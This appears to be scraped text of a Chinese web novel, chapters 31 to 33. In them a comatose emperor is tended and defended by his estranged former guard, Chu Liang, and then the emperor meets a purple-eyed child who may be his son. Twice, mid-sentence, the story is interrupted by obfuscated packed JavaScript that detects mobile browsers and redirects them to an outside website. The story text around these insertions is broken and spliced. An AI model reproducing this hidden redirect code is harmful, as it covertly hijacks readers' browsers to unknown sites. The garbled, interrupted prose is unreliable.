黑石堡的夜,前所未有的漫长而寒冷,一场关乎帝国命运和深埋隐秘的风暴,在昏迷的帝王床榻前,无声地酝酿着。 31. 第 31 章 黑石堡的空气仿佛凝固成了铅块,沉甸甸地压在每个人的心头。 中军大帐内弥漫着浓重的药味和一种无形的压抑。宇文尚依旧躺在榻上,面色灰败,呼吸微弱而断续,如同风中残烛。自那日惊心动魄的“遗言”之后,他又陷入了更深的昏迷,整整两日两夜,毫无醒转迹象。 褚良就站在帐门内侧的阴影里,他身上还穿着沾满血污和尘土的皮甲,脸上没有任何表情,只有眼底密布的血丝和眼下浓重的青黑,无声地诉说着他同样两日两夜未曾合眼的疲惫。 他的气场冷冽,隔绝了帐内弥漫的哀伤与焦虑。 王德全形容枯槁,仿佛一夜之间又老了十岁,浑浊的眼睛几乎要流干泪水,只是机械地用温热的湿布擦拭着宇文尚毫无知觉的手。 几位重臣来了又走,叹息声此起彼伏,商议着万一……的后事,声音压得极低,却像针一样刺着褚良的耳膜。 “陛下龙体……” “国本动摇,如何是好……” “是否该秘召宗室……” 褚良置若罔闻。他的目光偶尔扫过榻上的人,那眼神复杂得难以言喻,有审视,有冷漠,深处却藏着一丝连他自己都不愿承认的、被强行压制的惊悸。 他强迫自己不去想宇文尚那些濒死的话语,不去想那些混乱纠缠的过往。他只是在心里一遍遍固执地告诉自己:他不会死。 宇文尚这种人,心机深沉,手段狠辣,掌控欲强到变态,怎么会这么轻易就被一支毒箭放倒?恶人命大,祸害遗千年,他绝不可能就这么死了!这个念头成了支撑他站在这片混乱中心、维持表面镇定的唯一支柱。 帐外,压抑的呜咽和沉闷的磕头声隐隐传来。 是老箭手哈森。 自从得知皇帝是为了救他而中箭垂危,这位草原汉子便陷入了巨大的痛苦和自责中。他跪在冰冷坚硬的地面上,面向大帐,一遍又一遍地行着草原上最虔诚、最卑微的“长头”礼——双膝跪地,整个身体向前匍匐,额头重重磕在地上,双手尽力向前伸展。他的动作沉重而缓慢,带着一种近乎自毁的赎罪意味。 膝盖和手肘的衣物早已磨破,皮肉绽开,在身下拖出暗红的痕迹,但他仿佛感觉不到疼痛,只是机械地重复着,口中用含混的狄戎语不断祈祷着长生天的保佑。士兵们远远看着,面露不忍,有人上前试图搀扶劝阻,却被他固执地推开。哈森浑浊的眼中只有哀伤和祈求,仿佛只有用这种近乎自残的方式,才能稍稍减轻心中那压垮脊梁的重负。 就在这人心惶惶、主心骨缺失的第三天清晨,凄厉的号角声再次撕裂了黑石堡的宁静! “敌袭——!狄戎人又来了——!” 斥候嘶声回报,狄戎大军卷土重来,旌旗招展,声势更甚之前!显然,铎冽得到了宇文尚重伤垂危、北朝军心不稳的消息,决心趁你病要你命,发动了更猛烈的攻势! 堡内瞬间炸开了锅!将领们下意识地冲向中军大帐,却看到榻上依旧毫无反应的皇帝,心顿时凉了半截。 恐慌如同瘟疫般蔓延。就在这时,王德全猛地抬起头,他浑浊的目光在帐内焦急的将领脸上扫过,最终定格在阴影中那个沉默挺立的身影上。 老太监仿佛抓住了最后的救命稻草,声音嘶哑却带着一种孤注一掷的决绝,几乎是喊了出来, “君后!请君后主持大局!替陛下御敌!” 这一声“君后”,如同平地惊雷,在帐内炸响! 赵崇、蒙毅等将领猛地看向褚良,眼神满是震惊和难以置信!结合皇帝昏迷前那石破天惊的呼唤和此刻王德全的确认,一个荒诞却似乎唯一合理的真相瞬间击穿了他们的认知。 褚良的身体几不可察地绷紧了一瞬,冰冷的视线扫过王德全,带着一丝警告。 但此刻,军情如火,他没有时间解释,也没有心情去计较这暴露的身份会带来怎样的惊涛骇浪。 狄戎的号角就是命令! 他一步踏出阴影,走到大帐中央,周身那股沉凝如山、久经沙场磨砺出的统帅气势瞬间爆发出来,压下了帐内所有的嘈杂和惊疑。 “赵崇!” “末将在!” “令左军依托瓮城箭楼,以强弩压制敌军前锋!不得使其靠近城墙百步!” “蒙毅!” “末将在!” “率右军精骑,从西门悄然出堡,绕至敌军右翼侧后,待其主力被箭楼吸引,听我号炮为令,直插其腹心!务必搅乱其阵!” “其余各部,坚守阵地,擅离职守、动摇军心者——斩!” 指令清晰、果断、杀气凛然,带着不容置疑的权威。 此刻的他,不再是那个刻意疏离的“乌其乐”首领,而是那个曾与宇文尚并肩、在尸山血海中杀出的侍卫统领褚良! 那份刻在骨子里的军事素养和战场直觉,在危机时刻展露无遗。 将领们被他的气势所慑,心中的惊疑瞬间被求生的本能和服从命令的天性取代,齐声应诺,迅速冲出大帐,奔赴各自的战场。 褚良走到帐外,登上瞭望高台。 寒风猎猎,吹动他染血的衣袍。他俯瞰着下方如潮水般涌来的狄戎大军,眼神冰冷如万载寒冰。他亲自擂响了战鼓,沉闷而有力的鼓点如同心跳,穿透喧嚣的战场,传递着不屈的意志。 战斗异常惨烈。 狄戎人如同疯狂的狼群,攻势一波猛过一波。北朝士兵在主帅重伤、谣言四起的阴影下作战,士气本就不稳。而当狄戎士兵看到城头指挥若定的竟然不是宇文尚,而是那位云泽部首领时,更加确信了“宇文尚已死”的谣言。 “看!是那个云泽人!” “皇帝果然死了!把他推出来当幌子!” “杀!杀光他们!” 恶毒的呼喊伴随着箭矢和攻城槌的冲击,不断冲击着北朝士兵的神经。军心浮动,几次险象环生。若非褚良指挥得当,蒙毅的侧翼突袭也恰到好处地打乱了狄戎的节奏,黑石堡的防线恐怕已然动摇。 最终,凭借着城墙的坚固和将士们最后的血勇,狄戎的攻势再次被击退,丢下无数尸体溃走。 但北朝的伤亡同样惨重,堡内弥漫着更深的疲惫和绝望。 夜幕降临,激战后的黑石堡陷入一片死寂。 伤兵的呻吟在寒风中显得格外凄楚。 中军大帐内,灯火昏黄。 王德全和几名重臣因心力交瘁和巨大的压力,早已支撑不住,被强行劝去休息了。 偌大的帐内,只剩下依旧昏迷不醒的宇文尚,以及守在榻边的两个人:褚良和陈锋。 褚良坐在榻边的矮凳上,背脊依旧挺直,但那份强行支撑的冷硬似乎正被无边的疲惫侵蚀,透出几分僵硬的脆弱。 他脸上没有任何表情,只是定定地看着宇文尚毫无生气的脸,仿佛要将他看穿。 陈锋正在为宇文尚施针,动作沉稳,但眉宇间的忧虑挥之不去。 长时间的沉默在帐内流淌,只有炭火偶尔发出的噼啪声和宇文尚微弱的呼吸声。 “锋哥。”褚良的声音忽然响起,沙哑干涩,打破了沉寂。 他依旧看着宇文尚,没有转头,“实话告诉我,他……还能醒过来么?” 陈锋施针的手顿了顿,抬起头,目光复杂地看向褚良疲惫却异常执着的侧脸。 他没有直接回答,而是反问道,“阿良,你想让他醒么?” 这个问题像一把钥匙,猝不及防地捅开了褚良竭力封闭的心门。 他长久地沉默着。帐内的空气仿佛都凝滞了。他眼前不受控制地闪过无数画面:初见时,摄政王意气风发的侧影,秋狄围场他手把手教自己射箭时掌心的温度,王府书房里灯火下他专注批阅奏章的沉静,还有……死牢里那冰冷残酷的眼神,那撕裂身心的屈辱……爱恨交织,刻骨铭心。 许久,久到陈锋以为他不会回答时,一个极其低哑、带着一种破釜沉舟般疲惫的声音响起,只有一个字, “想。” 陈锋看着他,嘴角泛起一丝苦涩的笑意。 “宇文尚是个有福的人。”他缓缓收起银针,声音低沉,“吉人自有天相,他会醒的。” 褚良猛地抬眼看向陈锋,眼中闪过希冀。 陈锋迎着他的目光,话锋却一转,带着医者的残酷冷静,“只是……短则明日,长则……一辈子。” 褚良瞳孔骤缩,“此话怎讲?” “毒,已解了大半,性命暂时无虞。”陈锋指了指宇文尚的胸口,“但这里,伤得太重了。”他的手指移向自己的心口,“他能否醒来,全看自己的求生意志强不强,想不想醒来。若心中再无牵挂,再无念想,觉得生无可恋,或者……被巨大的愧疚和绝望压垮了意志,那他可能就会一直这样沉睡下去,直到……油尽灯枯。” 陈锋的话如同冰水,浇在褚良刚刚升起一丝暖意的心上。 他再次看向宇文尚,眼神变得无比复杂。 陈锋叹了口气,收拾好药箱,拍了拍褚良的肩膀,“我去看看伤药熬得如何了。你……陪他说说话吧,或许会有用。” 说完,他深深地看了一眼褚良,转身掀帘走了出去,将这片死寂的空间留给了他们两人。 帐内只剩下褚良和昏迷的宇文尚。 烛火跳跃,在宇文尚灰败的脸上投下摇曳的光影。 褚良慢慢站起身,走到榻边,俯视着这张曾让他爱恨交织、此刻却毫无生机的脸。 八年的流亡,刻骨的恨意,本以为早已心如铁石。可看着他这样毫无防备地躺着,听着陈锋那句“生无可恋”、“愧疚绝望”,那些被强行冰封的情绪如同暗河下的岩浆,在死寂中翻涌不息,灼烧着他的理智。 记忆的碎片不受控制地冲击着脑海: 初入王府时,那个在演武场上挽弓如月、意气风发的摄政王。那时的宇文尚,是他仰望的光,是他甘愿付出一切追随的信仰。他交付的是最纯粹的热忱与忠诚。 秋狄围场,宇文尚手把手教他射箭,掌心覆盖在他手背的温度,低沉嗓音在耳边的指点。那一刻,心跳如鼓,无关身份,只有悸动。 王府书房彻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16356398|183634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夜的灯火下,宇文尚教他习字,和他讨论兵法,眼中是毫不掩饰的信任与期许,他说,“良儿,你聪慧果敢,日后定能建功立业。” 那话语里的重量,曾被他视若珍宝。 然后,就是前庭罚跪、死牢折辱! 鞭笞撕裂皮肉的剧痛,肋骨断裂的闷响,还有……那噬心蚀骨的羞辱!宇文尚冰冷残酷的眼神像淬毒的刀锋,将他剥皮拆骨,那句刻入骨髓的恶毒诅咒——“天生的贱胚子,只配在床笫间伺候男人!” ——彻底将他所有尊严、所有曾经交付的心意,碾得粉碎! “贱胚子”。 就是这个词,精准地刺穿了褚良心底最深的痛处。 在宇文尚眼中,尊卑贵贱,泾渭分明。他是高高在上的天潢贵胄,手握生杀予夺之权。 而褚良,无论多么得他宠爱,也不过是他权力之下可以随意处置的“玩物”。 他们之间有过爱么?宇文尚对他只是占有,是控制,至多,是帝王对稀罕物的一时沉迷而已。 他甚至从未将他当成一个“人”来看,又何谈爱?! 而他自己呢?他献上忠诚,敬仰那个拨乱反正、励精图治、护佑苍生的摄政王,爱慕那个能挽弓射月、也能在书房运筹帷幄的宇文尚。他从未奢望过能与那样高高在上的人物“平等”,更不敢奢望对方回应他的感情,但他渴望被理解,被尊重。 可现实是,宇文尚因疑心而将他打入死牢,用最残酷的方式践踏他的尊严、污蔑他的忠诚,他所感受到的,不仅仅是身体的痛苦和情感的背叛,更是信仰的崩塌。 他倾尽所有去忠诚、去爱慕的人,原来从未真正将他视为一个拥有独立意志和尊严的“人”,而仅仅是一个可以随意处置、肆意摧毁的“下贱东西”。 这才是最深的背叛! 因此,这八年的恨,不仅仅是情伤,更是对吃人王权的深恶痛绝,是对自己错付信仰的痛悔! 可偏偏……眼前这个昏迷的人,做了件让自己心内巨震的事情! 褚良清晰地记得战场那一幕:狄戎的冷箭带着死亡的尖啸射向老哈森——一个年迈的、在宇文尚过去的观念里恐怕连“草芥”都算不上的草原老牧民。 千钧一发之际,是宇文尚,是那个曾经视人命如蝼蚁、视尊卑为天理的暴君宇文尚……是他毫不犹豫地扑了过去,用自己的身体挡在了哈森面前! 那一瞬间的画面,如同最刺目的闪电,劈开了褚良心中冰封的恨意! 为什么? 哈森是谁?一个无足轻重的老箭手,一个在宇文尚过去的认知里,可能连名字都不配被记住的“下等人”。他值得一个皇帝用性命去换吗?若是从前,宇文尚定认为这是荒谬绝伦,是对帝王威仪的亵渎! 可如今,他却因为救下“贱民”性命垂危。 这意味着什么? 褚良心头如撞巨钟,嗡鸣不止,余响彻骨。 难道……这八年的时光,不仅磨砺了自己,也……改变了宇文尚?那个高高在上、目空一切的帝王? 这个认知,比宇文尚任何悔恨的言语都更具冲击力! 这个念头一旦升起,便在褚良心中掀起了滔天巨浪。那些被他死死压制的过往情愫,那些在恨意冰层下未曾完全熄灭的余烬,仿佛被投入了滚油,猛烈地灼烧起来。 爱、敬、慕、恨、怨、辱……无数种激烈冲突的情绪在他胸中翻江倒海,几乎要将他的理智撕裂。他看着宇文尚毫无生气的脸,陈锋那句“生无可恋”、“愧疚绝望”如同魔咒般回响。 不!不行! 他绝不允许宇文尚就这样死去!他还没弄清真相!那些债,那些账,那些未曾清算的屈辱和背叛,都还没了结! 他俯身到榻边,凑到宇文尚耳边,声音压得极低,却字字如刀,带着淬火的恨意和一种近乎诅咒的执念, “宇文尚!你休想就这么死了!” “你欠我的!还没还清!” “八年前的债,死牢里的账,你还没给我一个交代!” “你毁了我的一切,就想这么一死了之?做梦!” “你就算要死——” 褚良的声音陡然拔高,带着一种玉石俱焚般的狠辣, “也该是我亲自动手!哪轮得到狄戎那群杂碎?!” 话音落下的瞬间—— 褚良的目光扫到宇文尚垂在身侧的手。 他清晰地看到,那苍白枯瘦、毫无知觉的手指,极其轻微地、几不可察地……颤动了一下! 如同被一道惊雷劈中,褚良浑身剧震!所有的愤怒、恨意瞬间凝固!他猛地直起身,难以置信地盯着那只手,心脏在胸腔里狂跳如擂鼓! 不是幻觉!他确信自己看到了! “陈锋!陈锋——!”褚良猛地转身,声音带着一种他自己都未曾察觉的急切,朝着帐外嘶声大喊起来! 昏黄的烛火剧烈地摇晃着,映照着褚良瞬间失态的脸庞。 黑石堡死寂的夜,似乎在这一声嘶喊中被撕开了一道微光闪烁的裂缝。 32. 第 32 章 黑石堡的晨曦,带着硝烟未散的苦涩和一丝劫后余生的微凉。 宇文尚是在一阵剧烈的咳嗽中彻底清醒的。 肺腑间火烧火燎的痛楚如此真实,让他混沌的意识瞬间被拉回躯壳。他费力地睁开沉重的眼皮,首先映入眼帘的是大帐顶部熟悉的、略显陈旧的牛皮毡顶,然后是王德全那张被狂喜淹没、涕泪横流的老脸。 “陛下!陛下!您醒了!苍天有眼!苍天有眼啊!”王德全的声音抖得不成样子,几乎是扑到榻边,小心翼翼地扶着宇文尚的肩膀, “您感觉如何?可要喝水?陈医官!快请陈医官!” 宇文尚喉咙干涩得发不出完整的声音,只微微动了动手指。王德全立刻会意,用温热的布巾沾了水,小心翼翼地润湿他干裂的嘴唇。一股清流滑入喉咙,稍稍缓解了灼烧感。 意识如同退潮后显露的礁石,逐渐清晰。 昏迷前的记忆碎片疯狂涌入脑海——狄戎的箭雨、推开哈森时肩胛处传来的剧痛、坠马时天旋地转的黑暗……还有,最后那声撕心裂肺的“宇文尚”! 那不是梦!是良儿的声音! 宇文尚的心脏猛地一缩,挣扎着想坐起来,却被王德全死死按住。 “陛下!使不得!伤口刚有起色,万万不可用力啊!” 他喘了几口气,积聚起一丝力气,声音嘶哑地问, “褚良呢?”同时,目光急切地在帐内搜寻。 可王帐之内,除了王德全和闻讯匆匆赶来的陈锋,再无他人。 王德全抹着泪,声音带着劫后余生的激动,“陛下放心!君后……乌其乐首领他无事!只是……只是连日操劳,又守着陛下数日未曾合眼,得知陛下醒转,心神一松,这才被陈医官强劝去歇息了。” 王德全顿了顿,语气里充满了由衷的感激和一丝后怕,接着道,“陛下有所不知,那解毒草药中最关键的一味‘狼吻草’,生长在悬崖峭壁之上,极其难寻!是乌其乐首领不顾自身安危,穿过战场,亲自攀上断崖采来的!为此,他还被狄戎人的弯刀割伤了大腿,回来时满手都是被山石荆棘划破的口子!若非乌其乐首领冒险取药,陈医官纵有回春妙手,也难解这霸道之毒啊!” 这番话,如同平地骤起惊雷,让宇文尚神魂俱荡!他灰败的脸上瞬间涌起一抹血色,黯淡的紫眸里爆发出惊人的亮光,其中混杂着巨大的震撼、心疼和一种难以言喻的酸楚。 昏迷时,他仿佛置身于无边黑暗中,唯有良儿的声音如同灯塔般指引他挣脱束缚、走向光明,此刻听闻他为了自己亲身涉险,心内滋味简直无法言说。 宇文尚喃喃道,“他……为朕……亲自采药?还受了伤……” 王德全用力点头,将这几日的情况快速禀报,“不止如此,陛下昏迷这三日,狄戎趁势猛攻,军心大乱!是君后果断站出,以雷霆手段号令全军,指挥若定,才击退了铎冽的猛攻,保住了黑石堡!若非君后,后果不堪设想啊!”他顿了顿,声音压得更低,带着敬畏,“君后的身份……已然被众将士所知。如今军中上下,对君后……无不尊崇有加。” 宇文尚听着,心潮翻涌。三次了!良儿已经出手救过他三次。他们相识就是因为射虎解围,前几日,又帮他射偏狄戎人埋伏的暗箭;如今,更是从阎王手里将他硬生生夺了回来,还助他稳定军心,回护社稷……每一次,都是褚良!这沉重的恩与债,早已超越了简单的爱恨纠葛,变成刻入骨髓的宿命羁绊! “君后的身份,他……认可了?”宇文尚的声音带着一丝颤抖和希冀。 王德全苦笑着摇头,“陛下,君后他……似乎并不愿接受这个称呼。当时军情如火,老奴情急之下喊出‘君后’,只为稳定军心。事后……君后虽未当场发作,但神色……甚是冰冷。” 宇文尚眼中的亮光黯淡了一瞬,随即又被更深的执念覆盖。他挣扎着要起身,“扶朕起来……朕要见他!” 他必须立刻见到褚良,亲眼确认他的伤势,亲口……尽管那些话在八年的亏欠和救命恩情面前,会显得苍白无力。 “陛下!您刚醒,还需静养……”王德全和陈锋都急急劝阻。 “静养?朕睡了三天,外面天塌了都是他扛着!朕躺不住!” 宇文尚的脾气上来了,帝王的威严不容置疑,更夹杂着一种难以言喻的心焦。王德全无奈,只得小心翼翼地扶着他坐起,为他披上外袍。 宇文尚靠在软枕上,喘息片刻,强行压下眩晕感,命王德全搀扶着他,一步步挪向褚良暂歇的营帐——那是王德全特意安排、离中军帐不远的一处僻静军帐。 帐帘掀开一角,里面的情景却让宇文尚瞬间如坠冰窟,心焦瞬间化为更大的恐慌。 褚良确实在帐中,但他根本没有休息。他背对着门口,左腿的皮裤露出了一截被白色布带仔细包扎的伤处,布带上还隐隐透着淡红。 他正将几件随身衣物和皮质水囊利落地塞进一个行军背囊里,动作干脆,没有丝毫留恋。他身旁的矮几上,放着从不离身的硬弓,弓身被擦拭得一尘不染,在昏暗的帐内泛着冷硬的光泽。 他在收拾行装,他要走! “良儿!”宇文尚失声喊道,声音因急切、虚弱而显得更加破碎,“你的腿……” 褚良动作一顿,缓缓转过身。他脸上依旧没什么表情,只有浓重的倦意刻在眉宇间,眼神是拒人千里的疏离和冰冷。他看到了宇文尚惨白的脸和盯着他伤腿的目光,眉头几不可察地蹙了一下,随即伸手遮住了伤处,语气平淡无波,“小伤,不劳陛下挂心。” “王德全告诉朕了!是你亲自去采的‘狼吻草’!为了朕……”宇文尚急切地向前一步,巨大的感激和恐慌交织,让他语无伦次,“良儿,朕……朕欠你的,实在是……太多了!朕……” 褚良打断了他,声音冷硬地强调,“陛下不必道谢。你舍命救下我云泽部的老哈森,我救你,一命换一命,天经地义,仅此而已。” 他将“仅此而已”四个字咬得极重,像一道冰冷的闸门,截断了宇文尚试图涌出的任何情感。 宇文尚被他堵得胸口一窒,那股巨大的失落和被再次遗弃的恐惧攫住了他。 “你……还是要走?你又要走?朕……朕才刚醒!” 他深吸一口气,试图压下翻涌的气血,目光带着前所未有的坦诚和一丝卑微的哀求, “良儿,这次鬼门关走了一遭,朕……什么都看开了。江山万里,权柄滔天,都是空的!朕昏迷时,唯一记挂的,只有你!只要你还活着,哪怕你恨朕入骨,厌恶朕至深,朕都认了!只要你活着,朕……不再强求什么,更不会再像从前那样伤害你!” 他喘了口气,看着褚良依旧冰冷无波的脸,并没有停下的收拾行囊的动作,心不禁沉了下去,却仍不肯放弃,话锋转圜,说道,“良儿,你看看外面!狄戎虎视眈眈,黑石堡危在旦夕!将士们刚刚经历一场血战,人心惶惶!朕这副样子……短时间如何能掌控全局?你走了,能去哪里?云泽部也在黑石堡!你在这里,你的箭术,你的威望,在军中无人能及!将士们信服你!黑石堡需要你,北境的安危需要你!朕……朕不是以私情求你留下,是以北朝江山、以这堡内数万将士和云泽部老弱的性命求你留下!不仅仅是朕离不开你,是这岌岌可危的时局,离不开你!” 这一番话,宇文尚说得情真意切,甚至带着从未有过的低姿态。他死死盯着褚良,捕捉着他脸上任何一丝细微的变化。 褚良沉默着。 宇文尚的话,很难不让人心生触动。 他厌恶宇文尚以情动人,但对方最后几句却精准地戳中了他最无法回避的责任——对族人的责任,对这片土地上无辜生命的责任。他紧抿着唇,收拾行囊的手终于停了下来。 良久,他才开口,声音冷硬依旧,却不再提离开。 “宇文尚,我留下,只为战事,只为我的族人。我不是你的君后,以前不是,以后更不会是。你我之间,只有暂时的合作与交易,别无其他。” 接着,他目光锐利地转向王德全,“王公公,你为稳定军心,情急之言,我念你一片忠心,不予追究。但‘君后’二字,若再让我听到一次,无论出于何种目的,休怪我翻脸无情,不念当年王府旧情!” “王府旧情”四个字,像一道微弱的电流击中了宇文尚。他黯淡的紫眸猛地亮起一簇希望的火苗! 褚良竟主动提起了王府,那是不是意味着,那段被他亲手摧毁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“陛下!您还一直未歇息呢……”王德全忙劝道。 “无妨,走几步路死不了。”宇文尚固执地挥开王德全的手,自己端起了托盘。药盅有些烫手,但他却觉得这温度能暖到心里去。 拒绝了王德全的搀扶,只让他在身后远远跟着,宇文尚自己端着托盘,慢慢走向营区边缘一条用于取水的小溪。 褚良的营帐就在溪流上游不远处。 夕阳的光线斜斜穿过稀疏的林木,在溪水上洒下粼粼碎金。溪水潺潺,带着沁人凉意,冲刷着岸边的鹅卵石。 宇文尚正低头看着脚下崎岖的小路,生怕洒了汤药。忽然,一阵孩童清脆的嬉水声传入耳中。 他下意识地抬头望去。 只见清澈的溪水边,一个小小的身影正蹲在那里。那孩子约莫七八岁年纪,穿着草原孩子常见的皮袄,衣袖卷得高高的,露出白嫩的小胳膊。他正用小瓢往桶中汲水,一双小手冻得通红,可嘴里却哼着草原小曲,似乎毫不在意,还十分开心。 宇文尚的目光本是随意一扫,然而,当那孩子听到脚步声,好奇地抬起头望过来时—— 时间仿佛在这一刻凝固了。 夕阳的金辉,正正落在那孩子抬起的脸上,照亮了一双如同最上等紫水晶般剔透、纯净的眼眸! 那眼眸的颜色…… 宇文尚如遭雷击!浑身血液瞬间涌向头顶,又在下一秒冻结成冰!他死死地盯着那双眼睛,仿佛看到了世界上最不可思议的景象! 一股难以言喻的、混杂着极致的震惊、狂喜,近乎灭顶的眩晕感猛地袭向他! “哐当——!” 一声刺耳的脆响打破了溪边的宁静。 宇文尚手中的托盘连同那盅温热的汤药,直直地摔落在溪边的碎石地上。瓷盅四分五裂,深褐色的药汁溅得四处都是,迅速渗入泥土,只留下一片狼藉的污迹和刺鼻的药味。 他整个人僵立在原地,脸色惨白如金纸,嘴唇剧烈地颤抖着,那双此刻正倒映着夕阳和他失魂落魄身影的紫罗兰色眼眸,成了他视野中唯一清晰的存在。 这孩子……是谁? 33. 第 33 章 北朝宇文皇室,血脉中流淌着象征尊贵的紫色。 发色愈深紫近黑,眸色愈纯粹如紫晶,便被视为血统愈纯正高贵。当年宇文尚的皇兄,先帝,发色偏浅,紫意稀薄,眸色也偏淡,这便成了某些宗室攻讦他血统不纯、难承大统的把柄。讽刺的是,先帝生母乃世家贵女、尊为贵妃,而他宇文尚的生母,不过是个婢女。血统论?宇文尚心中嗤之以鼻,那不过是权力倾轧的遮羞布。他从不以此自矜,也厌恶别人以此评判。 可如今,却在那双清澈的紫眸撞入心扉的瞬间,其背后象征的血统意义第一次被宇文尚如此重视。 那孩子戴着严严实实的皮帽,遮住了发色,可那双眼睛……那双眼睛! 宇文尚强压下心头的惊涛骇浪,蹲下身,尽量让自己的声音听起来温和无害,如同哄诱一只警惕的小兽,“你是谁家的小孩?这么冷的天还帮大人干活,真懂事。” 褚昭正用小水瓢舀水,被这突然的询问吓了一跳,水瓢差点脱手。他抬头,警惕地看着这个高大却脸色苍白的男人,紫水晶般的眼睛里带着好奇。 “不是帮阿爹干活,是给我的小马饮水。”他小声回答,指了指不远处拴在树下的一匹小马驹。 “哦?那是你的马?”宇文尚顺着他的手指看去,“它叫什么名字?几岁了?” 提到心爱的小马,褚昭的戒备心稍稍放下,“它叫‘追风’,三岁了!跑得可快了!” 语气里带着孩子气的骄傲。 “追风……好名字。”宇文尚赞许地点点头,又看似随意地问了几个关于马匹习性和喂养的问题。 褚昭一一回答,小脸上渐渐有了神采,甚至主动比划着追风奔跑的样子。宇文尚耐心地听着,目光始终胶着在那双独一无二的紫眸上,心中的猜测如同野火燎原,几乎要冲破胸膛。 待孩子明显放松下来,宇文尚才状似不经意地切入核心,“你是云泽部的孩子吧?你的父母……也在堡中吗?他们叫什么?” 这问题像一根针,瞬间刺破了刚刚建立起来的轻松氛围。褚昭脸上的笑容僵住,猛地想起阿爹严厉的叮嘱,大眼睛里闪过一丝慌乱。他抱着小水桶后退一步,眼神躲闪,“我……我得走了!不能再说了!” 说完转身就要跑。 “等等!”宇文尚连忙叫住他,声音放得更柔,带着一种小心翼翼的期待,“明天你还来饮马么?朕……我有一匹叫‘乌云踏雪’的大马,跑起来像风一样。明天牵来给你看看,好不好?” 乌云踏雪!光是这名字就让褚昭心驰神往。他渴望地看了看宇文尚,又想起阿爹的禁令,小脸上满是挣扎。 最终,对那匹神奇骏马的好奇压倒了一切,他用力点了点头。 宇文尚心中一块巨石落地,不自觉笑起来,“好,那我们明天还在这里见。” 看着孩子抱着水桶跑开的小小背影,他还是忍不住追问了一句,“你知道我是谁吗?” 褚昭回头,脆生生地回答,“知道!你是北朝的皇帝!” 宇文尚微怔,“你不怕我?” 褚昭歪着头,一脸天真不解,“为什么要怕你?你还没我阿爹吓人呢!” 他说完,似乎意识到自己又说漏了嘴,小脸一白,再不敢停留,拎起小水桶撒腿就跑,水都洒了一半在地上,溅湿了他的皮靴。 宇文尚站在原地,望着那小小的背影消失在营帐间,心潮如同沸水般翻涌不息。 那双紫眸,那声“阿爹”……一个近乎疯狂的念头在他心中疯狂滋长,巨大的喜悦冲击着他,几乎让他虚弱的身体站立不稳。 褚昭抱着洒了一半水的小桶,气喘吁吁地跑回褚良的帐篷。 “阿爹!”他放下水桶,小脸上还带着奔跑后的红晕,眼神有些闪烁。 褚良正在用一块柔软的羔羊皮和一截皮绳,仔细地给褚昭缝制一顶新的、能将耳朵都护住的严实皮帽。 他抬头,看了看儿子红扑扑的小脸,问,“跑哪去了?这么久?” 同时注意到桶里只剩小半桶水。 褚昭心里一慌,小手不自觉地揪着衣角,低下头不敢看褚良的眼睛。 “我……我去溪边打水了……路上……路上不小心摔了一跤,洒了……” 这是他人生第一次对阿爹撒谎,小脸憋得通红,心脏怦怦直跳。他既害怕阿爹生气,又隐隐觉得那个皇帝叔叔不是坏人,反而让他有种莫名的亲近感,可阿爹那么讨厌皇帝……他不敢说实话。 褚良皱了皱眉,放下手中的针线,走到褚昭面前,蹲下身检查他。 “摔哪了?让阿爹看看。” 他的大手在褚昭胳膊腿上按了按。 “没……没事,不疼!”褚昭连忙摇头,转移话题,指着褚良手里的新帽子,“阿爹,新帽子做好了?” “嗯。”褚良拿起那顶几乎能遮住大半张脸的皮帽,仔细地给褚昭戴上,调整着系带,“以后出去,都戴着这个。头发要藏好,眼睛……也要注意,别总盯着人看。” 他的动作很轻柔,语气却严肃。 褚昭摸着厚厚的皮帽边缘,瓮声瓮气地问,“阿爹,那……那到了夏天怎么办?也戴帽子吗?好热的。” 小家伙已经开始担忧了。 褚良的手顿了顿,眼中闪过一丝复杂难明的情绪,他轻轻抚了抚帽顶,声音低沉,“也许……不用等到夏天,我们已经离开这里了。” 这话像是对褚昭说,也像是对他自己。 褚昭似懂非懂地点点头,心里却有点小小的失落。 离开了,是不是就看不到那个有乌云踏雪的皇帝叔叔了? 宇文尚没有去给褚良送药。他魂不守舍的回到中军大帐。 王德全始终跟在他身边,可自进入大帐,两人都是一言未发,帐内一片死寂,只有宇文尚粗重而紊乱的呼吸声。 他坐在榻边,身体无法控制地微微颤抖,指尖冰凉。 “陛下……”王德全察觉到他身体的异样,抖着声音开了嗓。 宇文尚抬起手,制止了他后面的话,只是指了指旁边矮几上的一个青瓷小瓶。王德全会意,那是陈锋特意留下的,叮嘱过皇帝体内余毒未清,情绪万不可过度激动,若心悸发作,便服下此药。 颤抖着服下药丸,一股清凉苦涩的气息在口中蔓延。宇文尚闭着眼,靠在软枕上,强迫自己平复那几乎要冲破胸膛的心跳。许久,那剧烈的悸动才缓缓平息。 他睁开眼,目光落在一直垂首侍立、大气不敢出的王德全身上。 “王伴伴,”宇文尚的声音带着一种异样的沙哑和疲惫,“你十一岁便来到朕身边,那时朕尚在襁褓。算起来,你是看着朕长大的。” 王德全“扑通”一声跪倒在地,额头触地,“老奴惶恐!能伺候陛下,是老奴天大的福分!” 宇文尚没有看他,目光放空,仿佛穿透了帐顶,回到了遥远的过去。 “你看那溪边的孩子……”他的声音很轻,带着一种小心翼翼的试探,“他……长得与朕幼时,有几分相似?” 这句话如同千斤巨石砸在王德全心上!他浑身一颤,趴伏在地上的身体筛糠般抖了起来,老泪瞬间涌出,浸湿了面前的地毯,喉咙里发出压抑的呜咽,却是一个字也说不出来。 “说!”宇文尚猛地一拍矮几,声音陡然拔高,带着帝王的威压和……急切, 